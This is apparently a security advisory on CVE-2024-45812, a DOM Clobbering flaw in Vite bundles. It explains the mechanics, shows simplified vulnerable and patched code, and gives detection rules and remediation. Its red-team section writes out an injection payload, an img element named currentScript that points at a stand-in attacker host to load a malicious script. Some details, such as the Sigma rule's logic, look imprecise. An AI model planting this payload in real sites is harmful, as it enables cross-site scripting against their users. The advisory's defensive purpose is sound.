CVE-2024-45812

Executive Summary

CVE-2024-45812 is a DOM Clobbering vulnerability in the Vite frontend build tool, affecting scripts bundled in cjs, iife, or umd output formats. The vulnerability arises when Vite dynamically resolves asset paths using document.currentScript, which can be shadowed by attacker-controlled HTML elements (e.g., <img name="currentScript">). This allows an attacker to redirect script imports to a malicious server, leading to Cross-Site Scripting (XSS). The vulnerability is exploitable on websites that allow user-injected HTML with unsanitized name or id attributes. Patches are available in the specified versions.

Supply Chain & Package Security

This vulnerability affects the Vite npm package, a widely used frontend build tool. Organizations using Vite in their build pipeline should treat this as a supply chain risk, as compromised builds could deliver malicious scripts to end users. The vulnerability is introduced during the build process, meaning that even if the source code is secure, the generated bundles may be exploitable. Developers must upgrade Vite to a patched version and rebuild their applications.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (attacker must inject HTML)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for user interaction (injecting HTML) and the limited impact per attack, but the potential for widespread exploitation in vulnerable applications is significant.

Deep Dive & Mechanics

The vulnerability exploits DOM Clobbering, a technique where non-script HTML elements (e.g., <img>, <a>, <form>) with name or id attributes can shadow JavaScript variables. In Vite, when building scripts with cjs, iife, or umd output, the bundler replaces asset paths (e.g., __VITE_ASSET__) with URLs derived from document.currentScript. The document.currentScript property returns the <script> element whose code is currently running. However, browsers also allow named access to elements via document.name or window.name. An attacker can inject an HTML element like <img name="currentScript"> before the Vite script. When Vite’s code accesses document.currentScript, the browser returns the attacker’s <img> element instead of the actual script. The attacker can set the src attribute of this element to a malicious URL, causing Vite to load scripts from an attacker-controlled server.

The vulnerable code path is in Vite’s asset URL resolution logic, which uses document.currentScript.src to construct import URLs. By clobbering document.currentScript, the attacker controls the base URL for dynamic imports.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// Vite bundled script (cjs/iife/umd)
const baseUrl = document.currentScript.src;
const assetUrl = new URL('__VITE_ASSET__', baseUrl);
import(assetUrl);

Patched Code (simplified):

// Patched version uses a more robust method to get the script URL
const script = document.currentScript;
if (script && script.tagName === 'SCRIPT') {
  const baseUrl = script.src;
  const assetUrl = new URL('__VITE_ASSET__', baseUrl);
  import(assetUrl);
} else {
  // Fallback or error handling
}

The patch adds a check to ensure document.currentScript is actually a <script> element, preventing DOM Clobbering via other element types.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A web application using Vite-bundled scripts with cjs, iife, or umd output.
• The application allows user-injected HTML without sanitizing name or id attributes (e.g., a comment system, forum, or profile field).

Exploitation Steps:

1. Identify a page that includes a Vite-bundled script (e.g., assets/index-abc123.js).
2. Inject the following HTML before the script tag:

   <img name="currentScript" src="https://attacker.com/malicious.js">
   

3. When the Vite script executes, document.currentScript returns the <img> element, and its src attribute is used to load https://attacker.com/malicious.js.
4. The attacker’s script executes in the context of the victim’s page, enabling XSS.

Lab Setup:

• Use a local Vite project with build.rollupOptions.output.format: 'iife'.
• Create a simple HTML page with the injected <img> element and the Vite bundle.
• Host a malicious script on a local server (e.g., python3 -m http.server 8000).

Blue Team

Detection:

• Monitor for unexpected document.currentScript usage in client-side JavaScript.
• Look for HTML elements with name="currentScript" or id="currentScript" in user-generated content.
• Use Content Security Policy (CSP) to restrict script sources.

Prevention:

• Sanitize user input to remove name and id attributes from non-script elements.
• Upgrade Vite to a patched version.
• Avoid using cjs, iife, or umd output formats if possible; use es (ES modules) instead.

Indicators of Compromise (IOCs)

• Network: Outbound requests to unexpected domains from Vite-bundled scripts.
• File: Presence of <img name="currentScript"> or similar elements in HTML.
• Behavior: Dynamic script loading from URLs not matching the original application domain.
• Logs: JavaScript errors related to document.currentScript being null or not a script element.

Detection Engineering

YARA Rule

rule CVE_2024_45812_DOM_Clobbering {
  meta:
    description = "Detects DOM Clobbering attempts targeting Vite's document.currentScript"
    author = "Valters IT"
    date = "2024-10-27"
    reference = "CVE-2024-45812"
  strings:
    $clobber = /<[^>]+ (name|id)\s*=\s*["']currentScript["'][^>]*>/i
    $vite_asset = /__VITE_ASSET__/
  condition:
    $clobber and $vite_asset
}

Sigma Rule

title: DOM Clobbering Attempt via currentScript
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTML injection with name or id set to "currentScript" in pages using Vite
author: Valters IT
date: 2024-10-27
logsource:
  category: webserver
  product: generic
detection:
  selection:
    http.request.body|contains: 'name="currentScript"'
    http.request.body|contains: 'id="currentScript"'
  condition: selection
falsepositives:
  - Legitimate use of "currentScript" in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45812 DOM Clobbering Attempt"; flow:to_server; content:"name=\"currentScript\""; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade Vite: Update to version 5.4.6, 5.3.6, 5.2.14, 4.5.5, or 3.2.11 (or later).
2. Rebuild Applications: After upgrading, rebuild all applications using Vite to generate patched bundles.
3. Input Sanitization: Strip name and id attributes from user-injected HTML elements that are not scripts.
4. Content Security Policy: Implement CSP with script-src restrictions to limit script sources.
5. Output Format: Prefer es (ES modules) output format, which is not vulnerable.
6. Monitor: Watch for anomalous script loading patterns in web applications.

Valters IT